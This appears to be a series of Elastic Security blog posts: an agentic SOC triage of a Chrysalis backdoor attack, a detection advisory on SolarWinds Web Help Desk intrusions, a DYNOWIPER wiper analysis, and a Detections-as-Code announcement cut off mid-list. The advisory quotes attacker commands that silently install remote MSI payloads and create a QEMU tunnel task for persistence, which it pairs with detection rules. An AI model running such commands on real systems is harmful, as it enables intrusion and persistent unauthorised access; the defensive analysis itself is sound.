Autonomous Enrichment: Gathering the Evidence

Elastic Workflows can invoke agents on a schedule (ex: nightly threat hunts) or in response to events (ex: a new Attack Discovery finding) to operate automatically and gather evidence without human intervention.

When invoked, the agent investigates suspicious activity by analyzing file paths to identify malicious files, querying DNS logs to determine the IP resolution for the command-and-control domain, and searching firewall logs across clusters using ES|QL, Elastic’s piped query language, to confirm whether the traffic is allowed. This automated process allows the agent to collect and correlate critical signals across the environment without manual effort.

Every interaction with the agent is captured in a reasoning trace, recording each step the agent takes, including queries run, tools used, and enrichment results. This provides full transparency and auditability, and within the Agent Builder UI, SOC analysts can view these traces for complete visibility into how the agent reached its conclusions, the actions it performed, and the evidence it collected.

The screenshot below shows the reasoning trace of the agent and the tools it used during this investigation.

Verdict & Reasoning: Confirming the Threat

The agent checks VirusTotal for the second suspicious DLL, cdnver.dll, confirming its malicious classification and providing a verdict that this is a true positive.

Case Opened: Accelerating Resolution through Autonomous Action

Once confirmed, the agent automatically creates a case, maps the activity to MITRE ATT&CK, and sends email notifications to stakeholders. SOC analysts receive a fully pre-investigated case rather than raw logs, allowing them to focus on remediation rather than investigation.

Behind the Scenes: Building the Agent

The agent’s autonomy and reasoning tasks stem from its initial setup in the Elastic Agent Builder. By predefining the tools it can use, the goals it must pursue, and the schedule it follows, the agent can operate independently while the SOC team focuses on strategic oversight.

This model works because it transforms the SOC from a reactive posture to a proactive one. Elastic’s Attack Discovery correlates alerts generated by detection rules into a coherent attack chain, ensuring that stealthy activity does not remain buried in low-priority noise. The agents then confirm true positives automatically and close the loop with immediate case creation and notifications, drastically reducing dwell time. Most importantly, every step is auditable and transparent, providing the traceable context SOC analysts need to maintain full confidence in AI-driven operations and intervene only when human judgment is required.

Agentic SOC with Elastic: Frequently Asked Questions

Q: What is an Agentic AI SOC? A: It is an autonomous Security Operations Center where AI agents independently manage triage, investigation,response and other operational tasks. It shifts the focus from managing "alerts" to neutralizing "attacks" with minimal manual intervention.

Q: Why should enterprises upgrade to an agentic model? A: Industry is at a practical inflection point where governance and agent frameworks have matured for enterprise production, offering a strategic window to scale defense against a rapidly evolving threat landscape.

Q: How does an Agentic AI SOC differ from a traditional SOC or AI copilot? A: Autonomy. While a Copilot acts as a "passenger" that provides answers on command, an Agent is a "driver" that independently plans, executes, and coordinates complex investigations.

Q: Do I need to know how to code to build and manage these agents? A: No. Elastic Agent Builder uses natural language to translate strategic intent into autonomous behavior, allowing practitioners to "program" threat hunting agents without writing code.

Q: Q: Can an agent actually take response actions, like isolating a host?A: Yes. Through integration with Elastic Workflows, agents can execute "guarded" actions, such as host isolation or case creation, once they meet your pre-defined confidence thresholds, while giving SOC analysts the option to review or intervene before critical actions are taken.

Q: Is every action taken by an autonomous agent auditable? A: Absolutely. Every decision is documented in a reasoning trace, providing a transparent audit trail that shows the exact logic, tools, and evidence the agent used.

External References

• https://machinelearningmastery.com/7-agentic-ai-trends-to-watch-in-2026/
• https://www.marketsandmarkets.com/Market-Reports/ai-agents-market-15761548.html

In a traditional SOC, you’re about to lose your entire morning to a manual scramble - sifting through dozens of alerts, writing queries, manually checking VirusTotal, and pivoting across index patterns to build a timeline hoping you don’t miss something.

But in an Agentic SOC, the work is already done. Attack Discovery, running on its hourly schedule, had already correlated 5 critical alerts out of 30+ into a single attack narrative: "Malware with DLL Side-Loading Persistence." That discovery automatically triggered a workflow, which handed the findings to an agent. The agent used its tools and verified the malware hash on VirusTotal, searched your logs with ES|QL, checked the on-call schedule, created a case, and spun up a Slack incident channel with the on-call analyst already added, and also generated a CISO-ready summary — all before you sat down for coffee.

You reply to your CISO: "Already confirmed and triaged. The case is open. Here's the link."

This post explains how we built that pipeline: the integration of Attack Discovery, Workflows, and Agent Builder.

The threat: Chrysalis backdoor by Lotus Blossom

Threat actor profile

Campaign overview

Lotus Blossom executed a supply chain compromise of Notepad++ update infrastructure:

• Attack Window: June 2025 – December 2025 (~6 months)
• Vector: Hijacked Notepad++ update mechanism (WinGUp)
• Method: Selective redirection of targeted users to malicious update servers
• Payload: Previously undocumented "Chrysalis" backdoor
• Discovery: Rapid7 MDR team, published 2026-02-02

Chrysalis backdoor capabilities

The Chrysalis backdoor is a sophisticated, feature-rich implant:

• Custom encryption (LCG, FNV-1a hashing, MurmurHash)
• Reflective DLL loading
• API hashing for evasion
• DLL sideloading via legitimate Bitdefender binary (BluetoothService.exe)
• Full remote access capabilities
• Persistent Windows service installation

Attack chain

[1] INITIAL ACCESS
    └── User executes malicious NSIS installer from Desktop
              ↓
[2] EXECUTION
    └── Installer drops files to hidden AppData folder
        ├── BluetoothService.exe (legitimate binary)
        └── log.dll (malicious Chrysalis loader)
              ↓
[3] PERSISTENCE
    └── BluetoothService.exe registered as Windows service
        └── Runs under SYSTEM context
              ↓
[4] DEFENSE EVASION
    └── DLL sideloading via legitimate signed binary
              ↓
[5] COMMAND & CONTROL
    └── DNS beacon to api[.]skycloudcenter[.]com ✅ CONFIRMED

MITRE ATT&CK mapping

The Challenge: Speed vs. Accuracy

When threat intelligence drops on a nation-state APT campaign, SOC teams face a brutal trade-off:

Speed: Executives want answers now. "Are we compromised?"

Accuracy: Analysts need time to hunt, correlate, and confirm before making the call.

Traditional workflows require analysts to:

1. Determine the scope of analysis and relevant search criteria
2. Manually search for IOCs across multiple data sources
3. Correlate alerts that may span days or weeks
4. Validate findings against threat intelligence
5. Build the attack timeline
6. Escalate with confidence

This process takes hours to days, during which an active attacker may exfiltrate data or move laterally.

The Solution: Attack Discovery + Workflows + Agent Builder

Elastic Security's AI-powered automation stack transforms this workflow from manual hunting to automated confirmation. But before we dive into the specific setup, it's worth understanding how the building blocks fit together.

Agents & Workflows: Two entry points, one composable architecture

Agent Builder gives you two primitives that work together:

• Agents are the intelligence layer. They reason about a task, decide which tools to call, and adapt based on what they find. An agent can call search tools, MCP tools, and critically - workflows as tools.
• Workflows are the structure layer. They're deterministic pipelines: steps run in order, reliably and repeatably. Any step in a workflow can optionally be an agent step, giving it the ability to reason mid-pipeline.

The two are fully composable. A workflow can invoke an agent. An agent can call a workflow. An agent step inside a workflow can call another workflow. Every connection is optional allowing you to mix and match based on what the problem demands.

This is what makes the architecture powerful: agents reason and decide; workflows execute and coordinate. For our Chrysalis attack scenario, we used both.

Our Flow

The Flow:

1. Many Alerts → Attack Discovery correlates disparate alerts into a single attack narrative
2. Attack Discovery → Generates an alert that triggers the workflow
3. Workflow → Invokes Agent Builder to analyze the attack discovery findings
4. Agent Builder → Calls enrichment workflows (VirusTotal, Threat Intel, ES|QL queries)
5. Agent Builder Calls a Workflow → Agent builder continues with incident response actions calling on workflow as a tool (case actions, isolate host, notify team)

Step 1: Attack Discovery surfaces the threat

Attack Discovery uses LLMs to analyze security alerts and identify attack patterns. Unlike traditional alert grouping, it understands the semantic relationships between alerts.

The alert queue: Needle in a haystack

Here's reality for a SOC analyst. You open the alerts page and see dozens of alerts across multiple hosts, users, and rules, combination of, mixed severities, mixed types, many of them noise.

Dozens of alerts. Multiple rules firing. Severity levels ranging from low to critical. Some are the Chrysalis attack. Some are unrelated Windows Defender events. Some are SIEM change detections from a completely different workflow. It’s difficult to find the coordinated attack in this wall of noise.

What Attack Discovery found

Attack Discovery analyzed all of these alerts and identified 5 alerts that belonged to a single coordinated attack - pulling them out of the noise and correlating them into one narrative:

Instead of presenting 5 individual alerts, Attack Discovery correlated them into a single discovery:

Malware with DLL Side-Loading Persistence

Malicious executable on srv-win-defend-01 escalated to persistence via BluetoothService.exe with DLL side-loading

• Host: srv-win-defend-01
• User: james_spiteri
• Severity: Critical
• Attack Chain: Initial Access → Execution → Persistence → Defense Evasion → C2

Attack Discovery also:

• Mapped alerts to MITRE ATT&CK tactics
• Identified the DLL sideloading technique
• Flagged the suspicious persistence mechanism
• Highlighted the C2 network indicator

Step 2: Scheduled discovery triggers the workflow

Attack Discovery doesn't require an analyst to click a button. We configured it to run on an hourly schedule, continuously analyzing the latest alerts for coordinated attacks.

When our hourly run kicked off, it ingested all alerts from the last hour including the Chrysalis-related alerts buried among routine detections and surfaced the DLL side-loading attack as a discovery.

Linking a workflow as an action step from attack discovery means every time Attack Discovery finds a coordinated attack, it automatically fires the workflow..

But here's what makes this approach different from traditional SOAR playbooks: the workflow doesn't script out every step. It hands the entire attack discovery to Agent Builder and says "figure it out."

Workflow definition

This is the real workflow we used consisting of two steps, that's it:

name: Auto Triage AD
description: >-
  Demonstrates the application of AI agents and workflows 
  to enable agentic alert triaging.
enabled: true
tags:
  - Example
  - Agentic Workflow

triggers:
  - type: alert                          # Fires when Attack Discovery generates an alert

steps:
  # Step 1: Hand the attack discovery to the agent with clear instructions
  - name: initial_analysis
    type: kibana.request
    with:
      method: "POST"
      path: "/api/agent_builder/converse"
      headers:
        kbn-xsrf: "true"
      body:
        agent_id: <your-agent-id>        # Your custom Hunting Agent
        input: |
          Confirm the attack by searching for behaviour in the logs 
          (all logs which are relevant), always leverage security labs tools, 
          always leverage virustotal if file hashes are available. 
          If this is a true positive, create a case with all the relevant content too.

          {{event|json}}

          Create a slack channel for this incident, check who's on call, 
          add them to it, and send a formatted message with what's happening 
          and next steps. If this is a true positive, create a case with all 
          the relevant content too - add a button to the slack message linking 
          to the case, and another button leading to the result of the attack. 
          Lastly, include a button that will take me to this agent conversation, 
          just replace the conversation ID with the actual one from this conversation 
          (https://<your-kibana-url>/app/agent_builder/conversations/<conversation-id>)

          Change the attack discovery status to acknowledged, or, 
          if false positives, close it.
    timeout: 10m
    on-failure:
      retry:
        max-attempts: 3

  # Step 2: Follow up to catch anything that didn't complete
  - name: followup_analysis
    type: kibana.request
    with:
      method: "POST"
      path: "/api/agent_builder/converse"
      headers:
        kbn-xsrf: "true"
      body:
        conversation_id: "{{ steps.initial_analysis.output.conversation_id }}"
        agent_id: <your-agent-id>
        input: |
          Complete any previous steps which might not have ran successfully. 
          Just in case, the conversation ID is 
          {{ steps.initial_analysis.output.conversation_id }}
    timeout: 10m
    on-failure:
      retry:
        max-attempts: 3

Why this workflow is so short

The entire automation is two steps:

1. initial_analysis: Send the attack discovery to Agent Builder with natural language instructions describing what you want done
2. followup_analysis: A failsafe that resumes the same conversation and asks the agent to verify all tasks were completed. Because agents call multiple tools in sequence and any individual tool call could time out or hit a transient error, this step ensures nothing falls through the cracks.

This is the fundamental shift: the workflow is the trigger and the safety net; the agent is the brain.

Under the hood: How we extended the Threat Hunting Agent

Before we continue with the results, it's worth pausing on what made this possible. One of Agent Builder's most powerful capabilities is that you can extend existing agents with additional tools. Rather than building from scratch, we took the default Threat Hunting Agent and added custom workflow-backed tools to give it the specific capabilities this scenario required.

What we added

Agent Builder ships with built-in platform tools like platform.core.generate_esql and platform.core.product_documentation. But the real power comes from adding your own. We extended the Threat Hunting Agent with tools across several categories:

Five custom tools. That's all it took to turn the default Hunting Agent into automatically verifying malware, searching logs, finding the on-call responder, creating a case, and spinning up an incident channel - all expediting the time to detect a potential threat.

The Agent's reasoning chain

Here's what's remarkable: given the Attack Discovery context, the agent automatically decided which tools to call and in what order. No human scripted these steps.

Step 1: VirusTotal Lookup: vt.hash.lookup

• The agent's first move: verify the malware hash.

Step 2: Generate ES|QL Query: platform.core.generate_esql

• With malware confirmed, the agent searched for all related activity.

Step 3: Product Documentation: platform.core.product_documentation

• The agent referenced Elastic Security docs to generate remediation commands for the Response Console.!

Reasoning steps showing which tools were called in sequence for transparency

Shows the additional reasoning chain: referencing product documentation, then checking the on-call schedule information before creating a case with all relevant information and notifying the analyst on call over Slack.

Step 4: Check current time: get.time

Step 5: Check On-Call Schedule: check.on.call.schedule

• The agent ran an ES|QL query against the on-call-schedule index to find the current responder:

Step 6: Create Case: create.case

Step 7: Create Slack Channel: create.channel

Why this matters

The agent wasn't following a script. It reasoned about the situation and decided:

1. First, verify the malware is real (VirusTotal)
2. Then, understand the impact (ES|QL log search)
3. Then, figure out how to remediate (product documentation)
4. Then, find the right person to respond (on-call schedule)
5. Then, create tracking artifacts (case)
6. Finally, coordinate the team (Slack channel)

This is the difference between a workflow (which follows a fixed sequence) and an agent (which reasons about what to do next). The workflow triggered the agent; the agent figured out the rest.

Step 3: Automated incident response

With high-confidence confirmation, the workflow automatically:

1. Creates an incident Case

A structured case is created with all relevant evidence attached:

• Attack Discovery findings
• VirusTotal analysis results
• Threat intelligence matches
• Agent Builder analysis
• Recommended response actions

2. Notifies the SOC

A Slack message is sent to the right channel informing analysts of the critical incident.

3. Enables Response Actions

The workflow can optionally trigger automated response actions:

• Host Isolation: Isolate srv-win-defend-01 via Elastic Defend
• User Suspension: Disable james_spiteri in Active Directory
• Network Block: Push C2 domain to firewall blocklist
• IOC Sweep: Launch fleet-wide scan for Chrysalis indicators

Time-to-confirmation: Before and after

The other path: Just ask the Agent

Everything above describes the automated pipeline - Attack Discovery finds the threat, the workflow fires, the agent triages it, and the right analyst(s) gets notified.

But there's another equally powerful way to use this: go directly to Agent Builder and ask it in plain English.

Scenario: You read about the threat first

Imagine you're scrolling through your threat intel feeds and see Rapid7's blog post about the Chrysalis backdoor. You just want to know: are we compromised?

That's it. The same agent with the same tools does the rest:

1. Reads the threat report using the web.search tool to pull IOCs and TTPs from the Rapid7 blog
2. Generates ES|QL queries to hunt for Chrysalis indicators across your file, network, and process event logs
3. Checks VirusTotal for any matching file hashes found in your environment
4. Produces a CISO-ready summary with findings, confidence level, and recommended actions

The agent calls the same tools it would in the automated pipeline. The difference is the entry point: instead of a scheduled Attack Discovery triggering a workflow, you triggered the agent with a question.

Why this changes the game for analysts

This is the part that's easy to overlook but profoundly important: the analyst didn't need to know a single query language, index pattern, or tool name.

They didn't write ES|QL. They didn’t need to remember where their different data lives. They didn't need to remember the VirusTotal API syntax or figure out which threat intel index to query.

They asked a question in natural language. The agent figured out the rest including which indices to search, which queries to write, which tools to call, and how to synthesize the results.

For a junior analyst who joined the team last month, this is transformative. For a senior analyst who's been doing this for a decade, it's hours of their life back. For a CISO who wants a status update, it's a question away.

The barrier to effective threat hunting just dropped from "knows ES|QL and 47 index patterns" to "can describe what they're looking for."

Key takeaways

1. Attack Discovery on a schedule means you don't miss attacks - it continuously analyzes your alerts, so coordinated threats get surfaced even when no one is watching the queue.
2. Workflows orchestrate the response, triggering on discoveries, invoking agents, executing actions.
3. Agent Builder lets you build or extend agents for your needs - whether you start from scratch or add custom tools to an existing agent, you shape the capabilities to match your environment.
4. Agents reason, workflows execute - the agent autonomously decided to call VirusTotal, search logs, check the on-call schedule, and create a Slack channel. No human scripted that sequence.
5. Two entry points, same power - the automated pipeline and the chat interface use the same agent and the same tools. Whether a scheduled discovery triggers it or an analyst asks a question, the outcome is the same.
6. Natural language is the new query language - analysts don't need to know ES|QL, index patterns, or API syntax. They describe what they're looking for, and the agent handles the rest.

The Chrysalis backdoor campaign demonstrates why this matters. When nation-state actors can compromise your supply chain and establish persistence in 4 seconds, you need defenses that can match that speed - whether that's an automated pipeline running while you sleep, or a direct conversation with an agent when you're the first to spot the threat.

• On February 6, 2026, Microsoft reported the exploitation of SolarWinds Web Help Desk (WHD) servers
• The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access
• While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: CVE-2025-26399, CVE-2025-40536, and CVE-2025-40551
• Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication
• Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity

Background

Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk software. This exploitation activity reportedly first occurred in December 2025.

Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:

• CVE-2025-26399 - SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability
• CVE-2025-40536 - SolarWinds Web Help Desk Security Control Bypass Vulnerability
• CVE-2025-40551 - SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability

Below is a table of the vulnerability descriptions and the impacted product versions:

After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of Velociraptor being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel.

Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the NTDS.dit database from a Windows domain controller.

The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.

Execution Flow

Initial access

Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on "living-off-the-land" (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions.

The original attack chain happens from the WHD service wrapper (wrapper.exe) spawning java.exe which then spawns the Windows command processor (cmd.exe). An Elastic SIEM rule has been created for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.

any where host.os.type == "windows" and
(
 (event.category == "library" and
  process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and
  (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and
  process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe"))
)

SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called Catbox. The following command-line was observed:

msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi

In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files here, and an endpoint behavior protection here.

Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.

Discovery

After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:

net group "domain computers" /do

An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available here.

Evasion

One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, Velociraptor. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:

msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi

They followed this up with an installation of the Cloudflare Tunnel client (Cloudflared) with the following command:

msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi

Echoing trends observed throughout 2025 and described in the Elastic Global Threat Report, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously highlighted this emerging attacker trend involving the use of Velociraptor for post-compromise activity.

Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications. Existing Elastic SIEM and endpoint rules identify these attempts to undermine security settings.

Persistence

In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:

SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN "TPMProfiler" /TR        "C:\Users\<user>\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22"
</user>

This scheduled task named TPMProfiler was configured to execute QEMU, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.

Elastic Security published and maintains a SIEM detection rule to detect the creation of this scheduled task.

In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule here and an Elastic prebuilt detection rule here.

Credential Access

As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (ntds.dit). Elastic provides multiple detections for this behavior, including the rules referenced here and here.

Recommendations

1. Apply the latest SolarWinds Web Help Desk patches.
2. Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.
3. Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.
4. Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.

Detecting SolarWinds WHD exploitation

Elastic Security prebuilt detection rules

• Suspicious SolarWinds Web Help Desk Java Module Load or Child Process
• Potential Remote Install via MsiExec
• Remote File Execution via MSIEXEC
• Windows Account or Group Discovery
• Windows Defender Disabled via Registry Modification
• Persistence via Scheduled Job Creation
• NTDS or SAM Database File Copied
• Potential Credential Access via Windows Utilities
• Attempt to Establish VScode Remote Tunnel
• First Time Seen Commonly Abused Remote Access Tool Execution
• Potential Traffic Tunneling using QEMU

Elastic Defend prebuilt prevention rules

• Remote File Execution via MSIEXEC
• Suspicious Windows Defender Registry Modification
• Potential Traffic Tunneling with QEMU
• Connection to WebService by a Signed Binary Proxy
• Attempt to establish VScode Remote Tunnel

References

• https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/

MITRE ATT&CK Mapping

• On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant
• A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks
• CERT Polska attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly
• Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring

Background

The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.

According to CERT Polska’s report, the campaign targeted:

• 30+ wind and solar farms across Poland
• A major CHP plant supplying heat to nearly half a million customers
• A manufacturing sector company characterized as an opportunistic target

Attack Vector

The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:

• VPN interfaces allowing authentication without multi-factor authentication
• Reused credentials across multiple facilities
• Historical vulnerabilities in unpatched devices

Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.

DYNOWIPER Details

Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.

Sample Metadata

Destruction Mechanism

Drive Enumeration

The malware enumerates all logical drives (A-Z) using GetLogicalDrives() and targets only DRIVE_FIXED (hard drives) and DRIVE_REMOVABLE (USB drives, SD cards) types.

File Corruption

DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:

1. Removing file protection attributes via SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)
2. Opening files with CreateFileW for read/write access
3. Overwriting the file header with 16 bytes of random data
4. For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences

This approach allows rapid corruption of many files while ensuring data is unrecoverable.

Directory Exclusion List

The malware deliberately avoids system-critical directories to maintain system stability during the attack:

• windows, system32
• program files, program files(x86)
• boot, appdata, temp
• recycle.bin, $recycle.bin
• perflogs, documents and settings

This design choice maximizes data destruction before the system becomes unstable, ensuring the wiper completes its mission.

Forced Reboot

After corruption and deletion phases complete, DYNOWIPER:

1. Obtains a process token via OpenProcessToken()
2. Enables SeShutdownPrivilege via AdjustTokenPrivileges()
3. Forces system reboot with ExitWindowsEx(EWX_REBOOT | EWX_FORCE)

Notable Characteristics

DYNOWIPER is distinguished by several characteristics:

• No persistence mechanism - The malware does not attempt to survive reboots
• No C2 communication - Completely standalone, no network callbacks
• No shell command invocations - All operations performed via Windows API
• No anti-analysis techniques - No attempts to evade detection or debugging
• Characteristic PDB path: C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb

The use of "vagrant" in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.

Version Differences

CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.

Elastic Defend Protection

During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.

Detection Alert

{  
  "message": "Ransomware Prevention Alert",  
  "event": {  
    "code": "ransomware",  
    "action": "canary-activity",  
    "type": ["info", "start", "change", "denied"],  
    "category": ["malware", "intrusion_detection", "process", "file"],  
    "outcome": "success"  
  },  
  "Ransomware": {  
    "feature": "canary",  
    "version": "1.9.0"  
  }  
}  

How Canary Protection Works

Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.

When the wiper attempted to corrupt this canary file, Elastic Defend immediately:

1. Detected the suspicious modification pattern
2. Blocked further execution
3. Generated a high-confidence ransomware alert (risk score: 73)

While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.

Why Behavioral Detection is Crucial

Destructive malware can present unique challenges to minimizing risk:

• They may not establish C2 connections (no network indicators)
• They may not use persistence mechanisms (limited forensic artifacts)
• They execute quickly and destructively
• Static signature-based detection may miss new variants

Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.

Indicators of Compromise

File Hashes (DYNOWIPER)

Distribution Scripts

Network Indicators

YARA Rule

rule DYNOWIPER {  
    meta: 
        author = "CERT Polska"
        description = "Detects DYNOWIPER data destruction malware"  
        severity = "CRITICAL"  
        reference = "https://mwdb.cert.pl/"  
          
    strings:  
        $a1 = "$recycle.bin" wide  
        $a2 = "program files(x86)" wide  
        $a3 = "perflogs" wide  
        $a4 = "windows\x00" wide  
        $b1 = "Error opening file: " wide  
        $priv = "SeShutdownPrivilege" wide  
        $api1 = "GetLogicalDrives"  
        $api2 = "ExitWindowsEx"  
        $api3 = "AdjustTokenPrivileges"  
          
    condition:  
        uint16(0) == 0x5A4D  
        and filesize < 500KB  
        and 4 of ($a*, $b1)  
        and $priv  
        and 2 of ($api*)  
}  

Recommendations

Immediate Actions

1. Deploy behavioral ransomware protection - Signature-based detection alone is insufficient against novel wipers
2. Enable MFA on all VPN and remote access solutions - The attackers exploited accounts without MFA
3. Audit FortiGate and edge device configurations - Check for unauthorized accounts, rules, and scheduled tasks
4. Review default credentials - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords

Detection Opportunities

Monitor for:

• GetLogicalDrives API calls followed by mass file operations
• SetFileAttributesW calls setting FILE_ATTRIBUTE_NORMAL at scale
• Privilege escalation for SeShutdownPrivilege followed by ExitWindowsEx
• GPO modifications creating scheduled tasks with SYSTEM privileges
• Unusual file modifications across multiple drives simultaneously

Recovery Considerations

• Restore from offline/air-gapped backups - Online backups may have been targeted
• Verify backup integrity before restoration
• Assume credential compromise - Reset all passwords, especially domain admin accounts
• Audit all removable media that may have been connected to affected systems

Conclusion

The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.

The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.

Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.

References

• CERT Polska: Energy Sector Incident Report – 29 December

• Cisco Talos: Static Tundra
• FBI IC3: PSA250820

MITRE ATT&CK Mapping

DaC as a methodology applies software development practices to the creation, management, and deployment of security detection rules. By treating detection rules as code, it enables version control, automated testing, and deployment processes, enhancing collaboration, consistency, and agility in response to threats. DaC streamlines the detection rule lifecycle, ensuring high-quality detections through peer reviews and automated tests. This methodology also supports compliance with change management requirements and fosters a mature security posture.

That's why we’re excited to share the latest updates to Elastic's detection-rules, our open repository for writing, testing, and managing security detection rules in Elastic, that also allows you to create your own Detections as Code (DaC) framework. Continue reading for highlighted implementation examples using extended functionality, and the announcement of Elastic's free Detections as Code Workshop.

Elastic Security DaC: The journey from alpha to general availability

With the functionality now provided in detection-rules repository, users can manage all their detection rules as code, review rule tunings, automatically test and validate rules, and automate rules deployment across their environments.

Pre-2024: Elastic’s internal use of DaC

Elastic threat research and detection engineering team created and used the detection-rules repository to develop, test, manage and release prebuilt rules, following DaC principles - reviewing rules as a team, automating their tests and release. The repository also has an interactive CLI to create rules, so engineers could start working on the rules right there.

As the security community's interest in as-code principles grew, and the available Elastic Security APIs already allowed users to implement their custom Detections as code solutions, Elastic decided to extend the detection-rules repository functionality to enable our users to benefit from our tooling and aid them in creating their DaC processes.

Here are the key milestones of Elastic’s user-focused DaC development from alpha to general availability.

May 2024: Alpha release of new "roll your own” features

Our detection-rules repository is adjusted for customer use, allowing for managing custom rules, adapting the test suite for user needs, and allowing for management of actions and exceptions alongside the rules.

Key additions:

• Custom rules directory support
• Select which test to run based on your requirements
• Exceptions and Actions support

We also published an extensive guidance for Detections as Code with examples of implementation with Elastic Security using detection-rules repository.

August 2024: "Roll your own” features now beta

The functionality is extended to allow import and export of custom rules between Elastic Security and repository, more configuration options and versioning functionality extended to custom rules.

New features added:

• Bulk import/export of custom rules (based on Elastic Security APIs)
